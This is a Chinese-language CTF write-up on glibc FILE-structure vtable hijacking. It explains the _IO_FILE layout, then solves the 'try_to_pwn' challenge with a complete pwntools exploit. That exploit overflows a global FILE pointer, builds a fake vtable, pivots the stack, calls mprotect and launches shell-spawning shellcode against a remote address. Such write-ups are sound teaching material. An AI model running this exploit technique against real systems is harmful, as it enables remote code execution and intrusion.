简介
file stream overflow是pwn的一种常用方法(至少最近几次比赛变得有点常用了),主要是通过利用libc的FILE结构体中的一些特点达到控制流劫持的效果。
一般来说劫持控制流的方式主要是:
1. 更改栈上返回地址,这种方法在堆相关的利用和格式化字符串利用时需要知道栈地址,或者有栈溢出等方法,才能够更改到栈地址
2. 更改got表地址,这种方法在开启了full relro的时候就不可用了
3. 利用free_hook, malloc_hook等方法,这种方法需要有堆分配的函数才可以
这里我们提出这种劫持控制流的方案就可以用来作为备选方案,在这些方案都不可用时作为一种备选方案。
FILE 结构体特点
_IO_FILE
首先来看_IO_FILE的定义:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
这里有几个地方需要注意,一个是flags,一个是最后的_vtable_offset
。
可能是因为和C++兼容的问题,C语言当中的FILE struct的结构显得相对复杂,其不止含有一个_IO_FILE作为内部表示,还具有一个虚表,这个虚表的位置就位于_vtable_offset
虚表结构
原始的虚表数据结构我实在是没有找到,不过大致的结构如下:
void * vtable[] = {
NULL, // "extra word"
NULL, // DUMMY
NULL, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
NULL, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
注释里边的就是每一个函数指针的名字,或者说作用。
其实在对FILE struct调用函数的时候,就是调用了该FILE的函数指针,比如调用fclose(someFile);
其实就相当于调用someFile这个file结构体虚表结构的close函数指针。
总结
一张图总结,两个结构的情况大致为:
利用方法
综述
一般只要通过更改虚表指针,然后想办法调用到虚表指针就可以了,有时候需要利用一些神奇的性质,比如stdout, stderr, stdin的结构体也是FILE结构体,如2017 0ctf的EasiestPrintf就是一个典型的例子,可以利用stdout来进行控制。
如果存在FILE struct一般就要小心了,否则的话也可以考虑stdout等等特殊的FILE struct。
示例
百度杯2017年度决赛的try_to_pwn:
题目位置
题目解析
题目的大致作用是可以open名为指定名称+随机数的文件,然后可以读出这个文件。
漏洞位置很明显,输入名字的地方存在一个缓冲区溢出,可以覆盖到用来存储文件FILE struct指针的全局变量,因为题目最后调用了fclose,所以可以更改虚表指针达到控制流劫持的目的。
劫持控制流比较简单,需要注意的是构造FILE结构体的时候不能乱构造,一般可以用0xffffffff,因为这样会跳过一些free函数等,否则构造的内容就会有一些要求,因为不知道具体要求,所以基本上就是采用构造称一堆0xffffffff来跳过free函数就可以了。
劫持控制流之后的问题就是如何获取shell了,因为劫持控制流之后我们也只有一次调用机会,题目开启了nx,所以不能进入shellcode,只能想其他办法,如果ROP,因为无法控制栈内容,所以没办法将ROP链起来,最后选择的方法就是先更改esp,使得栈地址被更改,我们就能够控制栈内容了(stack pivot),然后再进行ROP。
因为文件是静态链接的,我似乎没有找到方便execve的,其实到这个时候选择就很多了,可以通过rop直接execve,或者mprotect改权限之后运行shellcode,我采用的方法是后者。
更多其他内容就参见exp就好。
exp.py
我的方法因为前两个虚表结构体的指针没有用到,所以用这两个来处理stack pivot.
具体方法是:
我调试的时候发现在fclose进入函数指针的时候,eax会落在虚表结构体的开始,所以我先控制执行流跳到xchg eax, esp; ret;
,这样esp就会变成虚表结构体的开始,虚表结构体一开始的4字节没有作用,所以可以进行更改
更改的时候将其更改为pop esp; ret;
的地址,这样的话,上一个gadget ret的时候就会进入这个位置,而接下来的4个字节改为真正想设置的esp的值就可以更改esp为任意值了。
还有一个问题就是,mprotect的地址参数必须是页对齐的,需要注意,否则会报错。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
DEBUG = 0
if DEBUG:
p = process('./fake')
else:
p = remote("106.75.93.221", 12345)
def send_name(name):
p.recvuntil('name?')
p.sendline(name)
p.recvuntil('file?')
def read_file(path):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('Path:')
p.sendline(path)
p.recvline()
def exit_this():
p.recvuntil('>')
p.sendline('3')
def main():
#pwnlib.gdb.attach(p)
mprotect_addr = 0x08071fd0
payload = 'a' * 32
payload += p32(0x080efa00 + 4) # @ 0x80efa00
payload += p32(0xffffffff) * (148 / 4) # fake file
payload += p32(0x080efa00 + 156) # jump table offset
# jump table starts here
payload += p32(0x080e2b6d) # pop esp; ret;
# fake stack position
payload += p32(0x080efa00 + 300)
# rest of jump table functions
payload += p32(0x08048f66) * 16 # xchg esp, eax; ret;
fill_up = 300 - len(payload) + 32
# fill to the fack stack
payload += 'b' * fill_up
# rop, to mprotect
payload += p32(mprotect_addr)
payload += p32(0x080efa00 + 300 + 20) # ret to shellcode position
payload += p32(0x080ef000)
payload += p32(1024)
payload += p32(7)
# shellcode from here
payload += encoders.encoder.line(asm(shellcraft.sh()))
send_name(payload)
exit_this()
p.interactive()
if __name__ == '__main__':
main()
file struct利用技巧
- 可作为劫持控制流的方案
- file struct的flag字段会被当做参数传入函数指针
- 在文件结束一般会关掉stderr stdout stdin等等,理论上我认为应该是可以改这几个结构体的close函数来进行控制的,但是实际上测试的时候似乎没有成功,不过利用其他函数倒是可以控制(0ctf EasiestPrintf),不知道是不是这道题刚好调用了其他函数